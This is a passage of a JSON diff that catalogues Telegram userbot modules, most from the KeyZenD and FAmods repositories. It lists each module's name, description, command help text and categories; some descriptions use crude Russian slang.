"meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "keyboardcmd": ".keyboard <text or reply>" + } + ], + "new_commands": [ + { + "keyboard": { + "ru_doc": null, + "en_doc": null, + "doc": ".keyboard <text or reply>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/spinner.py": { + "name": "SpinnerMod", + "description": "Гавно залупное", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "spincmd": "you spin me round..." + }, + { + "epilepsycmd": "ПРИВЕТ ЭПИЛЕТИКИ АХАХАХХА" + } + ], + "new_commands": [ + { + "spin": { + "ru_doc": null, + "en_doc": null, + "doc": "you spin me round..." + } + }, + { + "epilepsy": { + "ru_doc": null, + "en_doc": null, + "doc": "ПРИВЕТ ЭПИЛЕТИКИ АХАХАХХА" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/MirrorFlipV2.py": { + "name": "MirrorFlipMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "llcmd": "" + }, + { + "rrcmd": "" + }, + { + "uucmd": "" + }, + { + "ddcmd": "" + } + ], + "new_commands": [ + { + "ll": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "rr": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "uu": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "dd": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "KeyZenD/modules/mediaspam.py": { + "name": "MSMod", + "description": "Спаммер медиа(стикер/гиф/фото/видео/войс/видеовойс</code>", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mediaspamcmd": ".mediaspam <количество> + реплай на медиа(стикер/гиф/фото/видео/войс/видеовойс)" + } + ], + "new_commands": [ + { + "mediaspam": { + "ru_doc": null, + "en_doc": null, + "doc": ".mediaspam <количество> + реплай на медиа(стикер/гиф/фото/видео/войс/видеовойс)" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "KeyZenD/modules/delme.py": { + "name": "DelmeMod", + "description": "Удаляет все сообщения", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "delmecmd": "Удаляет все сообщения от тебя" + }, + { + "delmenowcmd": "Удаляет все сообщения от тебя без вопросов" + } + ], + "new_commands": [ + { + "delme": { + "ru_doc": null, + "en_doc": null, + "doc": "Удаляет все сообщения от тебя" + } + }, + { + "delmenow": { + "ru_doc": null, + "en_doc": null, + "doc": "Удаляет все сообщения от тебя без вопросов" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/soaper.py": { + "name": "SoaperMod", + "description": "Гавно залупное", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "soapcmd": ".soap <reply to photo>" + } + ], + "new_commands": [ + { + "soap": { + "ru_doc": null, + "en_doc": null, + "doc": ".soap <reply to photo>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/saved.py": { + "name": "SavedMod", + "description": "Соxранятель в избранное", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "savedcmd": ".saved реплай на медиа" + } + ], + "new_commands": [ + { + "saved": { + "ru_doc": null, + "en_doc": null, + "doc": ".saved реплай на медиа" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/rysianskiy.py": { + "name": "RysianskiyMod", + "description": "Perevodit rysskiy na rysianskiy yazyk", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "rysianskiycmd": ".rysianskiy <tekst ili replay na tekst>" + } + ], + "new_commands": [ + { + "rysianskiy": { + "ru_doc": null, + "en_doc": null, + "doc": ".rysianskiy <tekst ili replay na tekst>" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "KeyZenD/modules/DNA.py": { + "name": "DistortNoApiMod", + "description": "distorting images", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "distortcmd": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => кидает стикеры как фото\n50 => (от 0 до дохуя) процент сжатия" + } + ], + "new_commands": [ + { + "distort": { + "ru_doc": null, + "en_doc": null, + "doc": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => кидает стикеры как фото\n50 => (от 0 до дохуя) процент сжатия" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "KeyZenD/modules/MTF.py": { + "name": "MTFMod", + "description": "send Message as file", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mtfcmd": ".mtf <reply to text>" + }, + { + "ftmcmd": ".ftm <reply to file>" + } + ], + "new_commands": [ + { + "mtf": { + "ru_doc": null, + "en_doc": null, + "doc": ".mtf <reply to text>" + } + }, + { + "ftm": { + "ru_doc": null, + "en_doc": null, + "doc": ".ftm <reply to file>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/0x.py": { + "name": "x0Mod", + "description": "Uploader", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "x0cmd": "" + } + ], + "new_commands": [ + { + "x0": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/biography.py": { + "name": "BiographyMod", + "description": "Биография", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "biographycmd": ".biography <reply to voice>\nНаложение реплайнутого войса на минус кровостока" + } + ], + "new_commands": [ + { + "biography": { + "ru_doc": null, + "en_doc": null, + "doc": ".biography <reply to voice>\nНаложение реплайнутого войса на минус кровостока" + } + } + ], + "category": [ + "Security", + "Chat" + ] + }, + "KeyZenD/modules/kicklast.py": { + "name": "KickLastMod", + "description": "Удаляет из чата последних Х зашедших", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "botkicklastcmd": ".botkicklst <количество> <юзернейм, если канал> - Кикает при помощи тг бота" + }, + { + "kicklastcmd": ".kicklst <количество> <юзернейм, если канал> - Кикает юзерботом" + } + ], + "new_commands": [ + { + "botkicklast": { + "ru_doc": null, + "en_doc": null, + "doc": ".botkicklst <количество> <юзернейм, если канал> - Кикает при помощи тг бота" + } + }, + { + "kicklast": { + "ru_doc": null, + "en_doc": null, + "doc": ".kicklst <количество> <юзернейм, если канал> - Кикает юзерботом" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/Glitcher.py": { + "name": "GlitcherMod", + "description": "Glitcher of anything", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "glitchcmd": ".glitch level: float or int <reply to anything>" + } + ], + "new_commands": [ + { + "glitch": { + "ru_doc": null, + "en_doc": null, + "doc": ".glitch level: float or int <reply to anything>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/SpeedRead.py": { + "name": "SpeedReadMod", + "description": "каждое слово раз в 100мс", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "srcmd": ".sr <text or reply>" + } + ], + "new_commands": [ + { + "sr": { + "ru_doc": null, + "en_doc": null, + "doc": ".sr <text or reply>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/what.py": { + "name": "WhatMod", + "description": "wow, what is it there?", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "whatcmd": "Draw circle in random place" + } + ], + "new_commands": [ + { + "what": { + "ru_doc": null, + "en_doc": null, + "doc": "Draw circle in random place" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/gigachat.py": { + "name": "GigaChat", + "description": "GigaChat AI. БЕЗ АПИ", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/gigachat.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "ggchat": "Задать вопрос к GigaChat" + } + ], + "new_commands": [ + { + "ggchat": { + "ru_doc": null, + "en_doc": null, + "doc": "Задать вопрос к GigaChat" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/proxy.py": { + "name": "Proxy", + "description": "Работа с прокси", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/proxy.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "gproxy": "Получить рандомное прокси" + }, + { + "wproxy": "Проверить работу прокси" + } + ], + "new_commands": [ + { + "gproxy": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить рандомное прокси" + } + }, + { + "wproxy": { + "ru_doc": null, + "en_doc": null, + "doc": "Проверить работу прокси" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "fajox1/famods/wakatime.py": { + "name": "Wakatime", + "description": "Показывает твою Wakatime статистику", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/wakatime.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "waka": "Посмотреть свою статистику в Wakatime" + } + ], + "new_commands": [ + { + "waka": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свою статистику в Wakatime" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/epsilion.py": { + "name": "Epsilion", + "description": "Авто-фарм в @EpsilionWarBot", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/epsilion.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "eps": "Включить/выключить авто-фарм" + }, + { + "epb": "Включить/выключить авто ежедневный бонус" + }, + { + "epp": "Посмотреть свой профиль" + } + ], + "new_commands": [ + { + "eps": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить авто-фарм" + } + }, + { + "epb": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить авто ежедневный бонус" + } + }, + { + "epp": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свой профиль" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/removebg.py": { + "name": "RemoveBG", + "description": "Убрать фон из изображения", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/removebg.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "removebg": "Убрать фон из изображения" + } + ], + "new_commands": [ + { + "removebg": { + "ru_doc": null, + "en_doc": null, + "doc": "Убрать фон из изображения" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/autogh.py": { + "name": "AutoGH", + "description": "Авто-коммиты в Github", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/autogh.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "autocommit": "Включить/выключить автоматический коммит" + } + ], + "new_commands": [ + { + "autocommit": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить автоматический коммит" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/avachanger.py": { + "name": "AvaChanger", + "description": "Смена аватарки по времени", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/avachanger.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "avatarl": "Смена аватарки по времени" + }, + { + "avatarl_stop": "Выключить смену аватарки по времени" + } + ], + "new_commands": [ + { + "avatarl": { + "ru_doc": null, + "en_doc": null, + "doc": "Смена аватарки по времени" + } + }, + { + "avatarl_stop": { + "ru_doc": null, + "en_doc": null, + "doc": "Выключить смену аватарки по времени" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/timer.py": { + "name": "Timer", + "description": "Показывает сколько времени осталось", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/timer.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "stime": "Посмотреть сколько осталось времени" + } + ], + "new_commands": [ + { + "stime": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть сколько осталось времени" + } + } + ], + "category": [ + "Tools", + "Productivity" + ] + }, + "fajox1/famods/edmes.py": { + "name": "Edmes", + "description": "Редактирует сообщение с заданим текстом.", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/edmes.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "edmsg": "Редактировать" + } + ], + "new_commands": [ + { + "edmsg": { + "ru_doc": null, + "en_doc": null, + "doc": "Редактировать" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/hbotcommand.py": { + "name": "HbotCommand", + "description": "Дополнительная команда для твоего inline бота", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/hbotcommand.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "busername": "Посмотреть юзернейм бота" + }, + { + "bcsettings": "Настройка команды бота" + } + ], + "new_commands": [ + { + "busername": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть юзернейм бота" + } + }, + { + "bcsettings": { + "ru_doc": null, + "en_doc": null, + "doc": "Настройка команды бота" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/picme.py": { + "name": "PicMe", + "description": "Кринж модуль", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/picme.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "picme": "Включить/выключить режим пикми" + } + ], + "new_commands": [ + { + "picme": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить режим пикми" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/vaper.py": { + "name": "Vaper", + "description": "Авто-фарм в @vapeusebot", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/vaper.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "vape": "Включить/выключить авто-фарм" + }, + { + "vp": "Посмотреть свой профиль" + }, + { + "vtop": "Посмотреть топ" + } + ], + "new_commands": [ + { + "vape": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить авто-фарм" + } + }, + { + "vp": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свой профиль" + } + }, + { + "vtop": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть топ" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/chmodslist.py": { + "name": "CHmodsList", + "description": "Список каналов с модулями (идея: @codrago)", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/chmodslist.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "chsettings": "Изменить список каналов с модулями" + }, + { + "chmods": "Посмотреть список каналов с модулями" + } + ], + "new_commands": [ + { + "chsettings": { + "ru_doc": null, + "en_doc": null, + "doc": "Изменить список каналов с модулями" + } + }, + { + "chmods": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть список каналов с модулями" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/banforaskmod.py": { + "name": "BanForAskMod", + "description": "Бан за просьбу дать модулей", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/banforaskmod.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "bfmsettings": "Открыть настройку модуля" + } + ], + "new_commands": [ + { + "bfmsettings": { + "ru_doc": null, + "en_doc": null, + "doc": "Открыть настройку модуля" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "fajox1/famods/famod.py": { + "name": "Famod", + "description": "Управление вещами, связанными с @FAmods_Bot", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/famod.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "fmstats": "Просмотр статистики" + }, + { + "fmsearch": "Поиск модуля" + } + ], + "new_commands": [ + { + "fmstats": { + "ru_doc": null, + "en_doc": null, + "doc": "Просмотр статистики" + } + }, + { + "fmsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск модуля" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/fabrika.py": { + "name": "Fabrika", + "description": "Авто-фарм в @fabrika", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/fabrika.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "fbrw": "Включить/выключить автоматически давать работу работникам" + }, + { + "fbbonus": "Включить/выключить автоматическое получать бонус" + }, + { + "fbteam": "Включить/выключить автоматически отправлятся на комадную работу" + }, + { + "sprof": "Посмотреть свой профиль" + }, + { + "sidtg": "Посмотреть профиль пользователя через айди в тг" + }, + { + "sidfb": "Посмотреть профиль пользователя через айди в боте" + }, + { + "steamfb": "Посмотреть команду через айди" + } + ], + "new_commands": [ + { + "fbrw": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить автоматически давать работу работникам" + } + }, + { + "fbbonus": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить автоматическое получать бонус" + } + }, + { + "fbteam": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить автоматически отправлятся на комадную работу" + } + }, + { + "sprof": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свой профиль" + } + }, + { + "sidtg": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть профиль пользователя через айди в тг" + } + }, + { + "sidfb": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть профиль пользователя через айди в боте" + } + }, + { + "steamfb": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть команду через айди" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/stats.py": { + "name": "Stats", + "description": "Показывает статистику твоего аккаунта", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/stats.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "stats": "Получить статистику" + } + ], + "new_commands": [ + { + "stats": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить статистику" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "fajox1/famods/pricefreedom.py": { + "name": "PriceFreedom", + "description": "Автоматизированная работа с @rabstvo_game_bot", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/pricefreedom.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "pfpromo": "Включить/выключить автоматически активирование промокода" + }, + { + "spfus": "Посмотреть профиль пользователя" + }, + { + "spfme": "Посмотреть свой профиль" + } + ], + "new_commands": [ + { + "pfpromo": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить автоматически активирование промокода" + } + }, + { + "spfus": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть профиль пользователя" + } + }, + { + "spfme": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свой профиль" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/xrocket.py": { + "name": "xRocket", + "description": "Автоматизация базового функционала @xRocket", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/xrocket.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "xwallet": "Посмотреть кошелёк" + }, + { + "xinvoice": "Создать счёт" + }, + { + "xcheck": "Создать чек" + } + ], + "new_commands": [ + { + "xwallet": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть кошелёк" + } + }, + { + "xinvoice": { + "ru_doc": null, + "en_doc": null, + "doc": "Создать счёт" + } + }, + { + "xcheck": { + "ru_doc": null, + "en_doc": null, + "doc": "Создать чек" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/giveaways.py": { + "name": "Giveaways", + "description": "Авто-участие в розыгрышах Telegram Premium", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/giveaways.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "gwtg": "Включить/выключить автоматическое участие в розыгрышах Telegram Premium" + } + ], + "new_commands": [ + { + "gwtg": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить автоматическое участие в розыгрышах Telegram Premium" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/phoneinfo.py": { + "name": "PhoneInfo", + "description": "Информация о телефоне", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/phoneinfo.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "pnsearch": "Поиск телефона" + }, + { + "pninfo": "Получить информацию о телефоне" + } + ], + "new_commands": [ + { + "pnsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск телефона" + } + }, + { + "pninfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить информацию о телефоне" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "fajox1/famods/tonscan.py": { + "name": "Tonscan", + "description": "Информация о TON адресе", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/tonscan.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "tonwallet": "Информация о TON кошельке" + }, + { + "tonjetton": "Информация о TON токене" + }, + { + "tonnftcol": "Информация о TON NFT коллекции" + }, + { + "tonnft": "Информация о TON NFT" + } + ], + "new_commands": [ + { + "tonwallet": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация о TON кошельке" + } + }, + { + "tonjetton": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация о TON токене" + } + }, + { + "tonnftcol": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация о TON NFT коллекции" + } + }, + { + "tonnft": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация о TON NFT" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/telegrapher.py": { + "name": "Telegrapher", + "description": "Создание статей и другое связанное с telegra.ph", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/telegrapher.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "tghpost": "Выложить статью в telegra.ph" + }, + { + "tghup": "Выложить медиа в telegra.ph" + } + ], + "new_commands": [ + { + "tghpost": { + "ru_doc": null, + "en_doc": null, + "doc": "Выложить статью в telegra.ph" + } + }, + { + "tghup": { + "ru_doc": null, + "en_doc": null, + "doc": "Выложить медиа в telegra.ph" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/tondns.py": { + "name": "TonDNS", + "description": "Модуль для работы с Ton DNS", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/tondns.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "itondns": "Информация о TON DNS" + }, + { + "tonshot": "Скриншот TON DNS сайта" + } + ], + "new_commands": [ + { + "itondns": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация о TON DNS" + } + }, + { + "tonshot": { + "ru_doc": null, + "en_doc": null, + "doc": "Скриншот TON DNS сайта" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/cryptoqr.py": { + "name": "CryptoQR", + "description": "Создание QR код в стиле CryptoBot", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/cryptoqr.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "cqr": "Создать QRcode" + } + ], + "new_commands": [ + { + "cqr": { + "ru_doc": null, + "en_doc": null, + "doc": "Создать QRcode" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/hetalib.py": { + "name": "HetaLib", + "description": "Модуль для работы с heta", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/hetalib.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "hsearch": "Поиск модуля в heta" + }, + { + "decode_hhash": "Декодировать heta hash" + }, + { + "mods_repo": "Получить модули с репозитория" + } + ], + "new_commands": [ + { + "hsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск модуля в heta" + } + }, + { + "decode_hhash": { + "ru_doc": null, + "en_doc": null, + "doc": "Декодировать heta hash" + } + }, + { + "mods_repo": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить модули с репозитория" + } + } + ], + "category": [ + "Tools", + "Info" + ] + }, + "fajox1/famods/infoip.py": { + "name": "InfoIP", + "description": "Информация об IP адресе", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/infoip.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "ipi": "Информация об IP" + } + ], + "new_commands": [ + { + "ipi": { + "ru_doc": null, + "en_doc": null, + "doc": "Информация об IP" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/gemini.py": { + "name": "Gemini", + "description": "Взаимодействие с AI Gemini", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/gemini.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "gemini": "Задать вопрос к Gemini" + } + ], + "new_commands": [ + { + "gemini": { + "ru_doc": null, + "en_doc": null, + "doc": "Задать вопрос к Gemini" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/fun.py": { + "name": "Fun", + "description": "Module for fun...", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/fun.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "hacku": "Взлом пользователя" + }, + { + "hackp": "Взлом пентагона" + }, + { + "ftype": "Печатать текст" + } + ], + "new_commands": [ + { + "hacku": { + "ru_doc": null, + "en_doc": null, + "doc": "Взлом пользователя" + } + }, + { + "hackp": { + "ru_doc": null, + "en_doc": null, + "doc": "Взлом пентагона" + } + }, + { + "ftype": { + "ru_doc": null, + "en_doc": null, + "doc": "Печатать текст" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/evalaliases.py": { + "name": "EvalAliases", + "description": "Алиаси для eval", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/evalaliases.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "addea": "Добавить алиас" + }, + { + "removea": "Удалить алиас" + }, + { + "getea": "Получить список алиасов для Eval" + } + ], + "new_commands": [ + { + "addea": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавить алиас" + } + }, + { + "removea": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить алиас" + } + }, + { + "getea": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить список алиасов для Eval" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/famods_socket.py": { + "name": "FAmodsSocket", + "description": "Установка модулей через @FAmods_Bot", + "meta": { + "pic": null, + "banner": null, + "developer": "@FAmods" + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/bigmac.py": { + "name": "BigMac", + "description": "Авто-фарм в @BigMacMetreBot", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/bigmac.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "bigmacs": "Включить/выключить авто-фарм" + }, + { + "bp": "Посмотреть свой профиль" + }, + { + "btop": "Посмотреть топ" + } + ], + "new_commands": [ + { + "bigmacs": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить авто-фарм" + } + }, + { + "bp": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть свой профиль" + } + }, + { + "btop": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть топ" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/executor.py": { + "name": "Executor", + "description": "Выполнение python кода", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/executor.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "execcmd": "Выполнить python код" + } + ], + "new_commands": [ + { + "exec": { + "ru_doc": null, + "en_doc": null, + "doc": "Выполнить python код" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/spotify4ik.py": { + "name": "Spotify4ik", + "description": "Слушай музыку в Spotify", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/spotify4ik.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "spauth": "Войти в свой аккаунт" + }, + { + "spcode": "Ввести код авторизации" + }, + { + "sppause": "Поставить на паузу текущий трек" + }, + { + "spplay": "Воспроизвести текущий трек" + }, + { + "spbegin": "Включить текущий трек с начала" + }, + { + "spback": "Включить предыдущий трек" + }, + { + "spnext": "Включить следующий трек" + }, + { + "spbio": "Включить/выключить стрим текущего трека в био" + }, + { + "spbiochannel": "Включить/выключить стрим текущего трека в канале в био" + }, + { + "splike": "Лайкнуть текущий трек" + }, + { + "sprepeat": "Повторить текущий трек" + }, + { + "spnorepeat": "Перестать повторять текущий трек" + }, + { + "spnow": "Текущий трек" + } + ], + "new_commands": [ + { + "spauth": { + "ru_doc": null, + "en_doc": null, + "doc": "Войти в свой аккаунт" + } + }, + { + "spcode": { + "ru_doc": null, + "en_doc": null, + "doc": "Ввести код авторизации" + } + }, + { + "sppause": { + "ru_doc": null, + "en_doc": null, + "doc": "Поставить на паузу текущий трек" + } + }, + { + "spplay": { + "ru_doc": null, + "en_doc": null, + "doc": "Воспроизвести текущий трек" + } + }, + { + "spbegin": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить текущий трек с начала" + } + }, + { + "spback": { + "ru_doc": null, + 